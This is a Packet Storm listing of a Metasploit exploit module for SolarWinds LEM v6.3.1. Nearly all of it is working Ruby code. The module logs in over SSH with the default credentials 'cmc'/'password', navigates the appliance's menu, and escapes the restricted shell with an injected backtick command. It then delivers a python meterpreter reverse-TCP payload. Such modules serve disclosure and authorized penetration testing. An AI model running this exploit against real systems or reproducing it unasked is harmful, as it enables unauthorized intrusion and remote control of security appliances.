SolarWind LEM Default SSH Password Remote Code Execution

2017-04-04T00:00:00
ID PACKETSTORM:141881
Type packetstorm
Reporter Mehmet Ince
Modified 2017-04-04T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::SSH  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "SolarWind LEM Default SSH Password Remote Code Execution",  
'Description' => %q{  
This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH  
service is accessed with the default username and password which is "cmc" and "password". By exploiting a  
vulnerability that exist on the menuing script, an attacker can escape from restricted shell.  
  
This module was tested against SolarWinds LEM v6.3.1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mehmet Ince <mehmet@mehmetince.net>', # discovery & msf module  
],  
'References' =>  
[  
['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']  
],  
'DefaultOptions' =>  
{  
'Payload' => 'python/meterpreter/reverse_tcp',  
},  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'Targets' => [ ['Automatic', {}] ],  
'Privileged' => false,  
'DisclosureDate' => "Mar 17 2017",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(32022),  
OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),  
OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),  
]  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
def rhost  
datastore['RHOST']  
end  
  
def rport  
datastore['RPORT']  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def exploit  
factory = ssh_socket_factory  
opts = {  
:auth_methods => ['keyboard-interactive'],  
:port => rport,  
:use_agent => false,  
:config => false,  
:password => password,  
:proxy => factory,  
:non_interactive => true  
}  
  
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
  
print_status("#{rhost}:#{rport} - Attempting to login...")  
  
begin  
ssh = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh = Net::SSH.start(rhost, username, opts)  
end  
rescue Rex::ConnectionError  
return  
rescue Net::SSH::Disconnect, ::EOFError  
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"  
return  
rescue ::Timeout::Error  
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  
return  
rescue Net::SSH::AuthenticationFailed  
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."  
rescue Net::SSH::Exception => e  
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"  
return  
end  
  
if ssh  
payload_executed = false  
print_good("SSH connection is established.")  
  
ssh.open_channel do |channel|  
print_status("Requesting pty... We need it in order to interact with menuing system.")  
  
channel.request_pty do |ch, success|  
raise ::RuntimeError, "Could not request pty!" unless success  
print_good("Pty successfully obtained.")  
  
print_status("Requesting a shell.")  
ch.send_channel_request("shell") do |ch, success|  
raise ::RuntimeError, "Could not open shell!" unless success  
print_good("Remote shell successfully obtained.")  
end  
end  
  
channel.on_data do |ch, data|  
if data.include? "cmc "  
print_good("Step 1 is done. Managed to access terminal menu.")  
channel.send_data("service\n")  
end  
  
if data.include? "service "  
print_good("Step 2 is done. Managed to select 'service' sub menu.")  
channel.send_data("restrictssh\n")  
end  
  
if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance"  
print_good("Step 3 is done. Managed to start 'restrictssh' function.")  
channel.send_data("*#`bash>&2`\n")  
end  
  
if data.include? "Are the hosts"  
print_good("Step 4 is done. We are going to try escape from jail shell.")  
channel.send_data("Y\n")  
end  
  
if data.include? "/usr/local/contego"  
if payload_executed == false  
print_good("Sweet..! Escaped from jail.")  
print_status("Delivering payload...")  
channel.send_data("python -c \"#{payload.encoded}\"\n")  
payload_executed = true  
end  
end  
  
end  
end  
begin  
ssh.loop unless session_created?  
rescue Errno::EBADF => e  
elog(e.message)  
end  
end  
end  
  
end  
`